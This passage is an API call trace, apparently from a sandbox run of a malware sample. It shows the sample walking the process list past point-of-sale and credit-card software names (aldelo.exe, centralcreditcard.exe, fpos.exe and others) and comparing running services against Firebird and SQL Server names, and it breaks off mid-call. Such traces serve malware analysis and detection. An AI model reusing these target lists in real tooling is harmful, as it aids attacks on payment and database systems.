cntUsage=0x0, th32ProcessID=0xd20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0121.336] lstrlenW (lpString="yahoomessenger.exe") returned 18 [0121.336] Process32NextW (in: hSnapshot=0x374, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0121.337] lstrlenW (lpString="active-charge.exe") returned 17 [0121.338] Process32NextW (in: hSnapshot=0x374, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0121.338] lstrlenW (lpString="accupos.exe") returned 11 [0121.339] Process32NextW (in: hSnapshot=0x374, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdcc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0121.340] lstrlenW (lpString="afr38.exe") returned 9 [0121.340] Process32NextW (in: hSnapshot=0x374, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x564, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0121.341] lstrlenW (lpString="aldelo.exe") returned 10 [0121.341] Process32NextW (in: hSnapshot=0x374, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcd0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0121.342] lstrlenW (lpString="ccv_server.exe") returned 14 [0121.342] Process32NextW (in: hSnapshot=0x374, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbdc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0121.698] lstrlenW (lpString="centralcreditcard.exe") returned 21 [0121.699] Process32NextW (in: hSnapshot=0x374, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xea8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0121.705] lstrlenW (lpString="creditservice.exe") returned 17 [0121.705] Process32NextW (in: hSnapshot=0x374, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xef0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0121.706] lstrlenW (lpString="edcsvr.exe") returned 10 [0121.707] Process32NextW (in: hSnapshot=0x374, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0121.708] lstrlenW (lpString="fpos.exe") returned 8 [0121.708] Process32NextW (in: hSnapshot=0x374, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0121.709] lstrlenW (lpString="isspos.exe") returned 10 [0121.709] Process32NextW (in: hSnapshot=0x374, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xea0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0121.710] lstrlenW (lpString="mxslipstream.exe") returned 16 [0121.710] Process32NextW (in: hSnapshot=0x374, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1010, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0121.711] lstrlenW (lpString="omnipos.exe") returned 11 [0121.711] Process32NextW (in: hSnapshot=0x374, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1024, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0121.712] lstrlenW (lpString="spcwin.exe") returned 10 [0121.712] Process32NextW (in: hSnapshot=0x374, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1038, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0121.713] lstrlenW (lpString="spgagentservice.exe") returned 19 [0121.713] Process32NextW (in: hSnapshot=0x374, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0121.714] lstrlenW (lpString="utg2.exe") returned 8 [0121.714] Process32NextW (in: hSnapshot=0x374, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1060, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="controlling.exe")) returned 1 [0121.715] lstrlenW (lpString="controlling.exe") returned 15 [0121.715] Process32NextW (in: hSnapshot=0x374, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1074, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="assess climate.exe")) returned 1 [0121.716] lstrlenW (lpString="assess climate.exe") returned 18 [0121.716] Process32NextW (in: hSnapshot=0x374, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1088, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="color_infection.exe")) returned 1 [0121.717] lstrlenW (lpString="color_infection.exe") returned 19 [0121.717] Process32NextW (in: hSnapshot=0x374, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x109c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="home.exe")) returned 1 [0121.718] lstrlenW (lpString="home.exe") returned 8 [0121.718] Process32NextW (in: hSnapshot=0x374, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x10b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="assignedeliminatemidi.exe")) returned 1 [0121.719] lstrlenW (lpString="assignedeliminatemidi.exe") returned 25 [0121.719] Process32NextW (in: hSnapshot=0x374, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x10ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0121.720] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0121.720] Process32NextW (in: hSnapshot=0x374, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x115c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0121.721] lstrlenW (lpString="svchost.exe") returned 11 [0121.721] Process32NextW (in: hSnapshot=0x374, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x126c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x3ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0121.722] lstrlenW (lpString="taskhostw.exe") returned 13 [0121.722] Process32NextW (in: hSnapshot=0x374, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1274, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3ac, pcPriClassBase=6, dwFlags=0x0, szExeFile="UsoClient.exe")) returned 1 [0121.723] lstrlenW (lpString="UsoClient.exe") returned 13 [0121.723] Process32NextW (in: hSnapshot=0x374, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x127c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x3ac, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0121.724] lstrlenW (lpString="taskhostw.exe") returned 13 [0121.724] Process32NextW (in: hSnapshot=0x374, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1284, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3ac, pcPriClassBase=6, dwFlags=0x0, szExeFile="UNPCampaignManager.exe")) returned 1 [0121.724] lstrlenW (lpString="UNPCampaignManager.exe") returned 22 [0121.725] Process32NextW (in: hSnapshot=0x374, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x128c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3ac, pcPriClassBase=6, dwFlags=0x0, szExeFile="DeviceCensus.exe")) returned 1 [0121.725] lstrlenW (lpString="DeviceCensus.exe") returned 16 [0121.725] Process32NextW (in: hSnapshot=0x374, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x12a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3ac, pcPriClassBase=6, dwFlags=0x0, szExeFile="AppHostRegistrationVerifier.exe")) returned 1 [0121.726] lstrlenW (lpString="AppHostRegistrationVerifier.exe") returned 31 [0121.726] Process32NextW (in: hSnapshot=0x374, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x12e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x128c, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0121.727] lstrlenW (lpString="conhost.exe") returned 11 [0121.727] Process32NextW (in: hSnapshot=0x374, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x12f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x1274, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0121.728] lstrlenW (lpString="conhost.exe") returned 11 [0121.728] Process32NextW (in: hSnapshot=0x374, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x13e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0121.729] lstrlenW (lpString="svchost.exe") returned 11 [0121.729] Process32NextW (in: hSnapshot=0x374, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x112c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="finbbp.exe")) returned 1 [0121.730] lstrlenW (lpString="finbbp.exe") returned 10 [0121.730] Process32NextW (in: hSnapshot=0x374, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x135c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0121.731] lstrlenW (lpString="dllhost.exe") returned 11 [0121.731] Process32NextW (in: hSnapshot=0x374, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x112c, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0121.731] lstrlenW (lpString="cmd.exe") returned 7 [0121.732] Process32NextW (in: hSnapshot=0x374, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x900, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1378, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0121.732] lstrlenW (lpString="conhost.exe") returned 11 [0121.732] Process32NextW (in: hSnapshot=0x374, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0121.733] lstrlenW (lpString="sppsvc.exe") returned 10 [0121.733] Process32NextW (in: hSnapshot=0x374, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x1378, pcPriClassBase=8, dwFlags=0x0, szExeFile="mode.com")) returned 1 [0121.734] lstrlenW (lpString="mode.com") returned 8 [0121.734] Process32NextW (in: hSnapshot=0x374, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="TrustedInstaller.exe")) returned 1 [0121.735] lstrlenW (lpString="TrustedInstaller.exe") returned 20 [0121.735] Process32NextW (in: hSnapshot=0x374, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="TrustedInstaller.exe")) returned 0 [0121.735] CloseHandle (hObject=0x374) returned 1 [0121.735] Sleep (dwMilliseconds=0x1f4) [0122.548] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x4eeb60 [0122.550] EnumServicesStatusExW (in: hSCManager=0x4eeb60, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x245ff3c, lpServicesReturned=0x245ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x245ff3c, lpServicesReturned=0x245ff54, lpResumeHandle=0x0) returned 0 [0122.551] GetLastError () returned 0xea [0122.551] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x1e3e) returned 0x38d6298 [0122.552] EnumServicesStatusExW (in: hSCManager=0x4eeb60, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x38d6298, cbBufSize=0x1e3e, pcbBytesNeeded=0x245ff3c, lpServicesReturned=0x245ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x38d6298, pcbBytesNeeded=0x245ff3c, lpServicesReturned=0x245ff54, lpResumeHandle=0x0) returned 1 [0122.553] CloseServiceHandle (hSCObject=0x4eeb60) returned 1 [0122.554] lstrlenW (lpString="Appinfo") returned 7 [0122.554] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0122.554] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0122.554] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0122.554] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0122.554] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0122.554] lstrlenW (lpString="AppXSvc") returned 7 [0122.554] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0122.554] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0122.554] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0122.554] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0122.554] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0122.554] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0122.554] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0122.554] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0122.554] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0122.554] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0122.554] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0122.554] lstrlenW (lpString="Audiosrv") returned 8 [0122.555] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0122.555] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0122.555] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0122.555] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0122.555] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0122.555] lstrlenW (lpString="BFE") returned 3 [0122.555] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0122.572] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0122.572] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0122.796] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0122.796] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0122.797] lstrlenW (lpString="BITS") returned 4 [0122.797] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1 [0122.797] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BITS") returned 1 [0122.797] lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1 [0122.797] lstrcmpiW (lpString1="mssqlserver", lpString2="BITS") returned 1 [0122.797] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BITS") returned 1 [0122.797] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0122.797] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0122.797] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0122.797] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0122.797] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0122.797] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0122.797] lstrlenW (lpString="CDPSvc") returned 6 [0122.797] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0122.797] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0122.797] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0122.797] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0122.797] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0122.797] lstrlenW (lpString="ClickToRunSvc") returned 13 [0122.797] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0122.797] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0122.797] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0122.797] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0122.797] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0122.797] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0122.797] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0122.797] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0122.798] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0122.798] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0122.798] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0122.798] lstrlenW (lpString="CryptSvc") returned 8 [0122.798] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0122.798] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0122.798] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0122.798] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0122.798] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0122.798] lstrlenW (lpString="DcomLaunch") returned 10 [0122.798] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0122.798] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0122.798] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0122.798] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0122.798] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0122.798] lstrlenW (lpString="DeviceAssociationService") returned 24 [0122.798] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0122.798] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0122.798] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0122.798] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0122.798] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0122.798] lstrlenW (lpString="Dhcp") returned 4 [0122.798] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0122.798] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0122.798] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0122.798] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0122.798] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0122.798] lstrlenW (lpString="Dnscache") returned 8 [0122.799] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0122.799] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0122.799] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0122.799] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0122.799] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0122.799] lstrlenW (lpString="DoSvc") returned 5 [0122.799] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DoSvc") returned 1 [0122.799] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DoSvc") returned 1 [0122.799] lstrcmpiW (lpString1="sqlwriter", lpString2="DoSvc") returned 1 [0122.799] lstrcmpiW (lpString1="mssqlserver", lpString2="DoSvc") returned 1 [0122.799] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DoSvc") returned 1 [0122.799] lstrlenW (lpString="DPS") returned 3 [0122.837] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0122.837] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0122.837] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0122.838] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0122.838] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0122.838] lstrlenW (lpString="DusmSvc") returned 7 [0122.838] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0122.838] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0122.838] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0122.838] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0122.838] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0122.838] lstrlenW (lpString="EventLog") returned 8 [0122.838] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0122.846] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0122.846] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0122.846] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0122.846] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0122.846] lstrlenW (lpString="EventSystem") returned 11 [0122.846] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0122.846] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0122.846] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0122.846] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0122.846] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0122.846] lstrlenW (lpString="FontCache") returned 9 [0122.846] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0122.846] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0122.847] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0122.847] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0122.847] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0122.847] lstrlenW (lpString="gpsvc") returned 5 [0122.847] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0122.847] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0122.847] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0122.847] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0122.847] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0122.847] lstrlenW (lpString="iphlpsvc") returned 8 [0122.847] lstrcmpiW 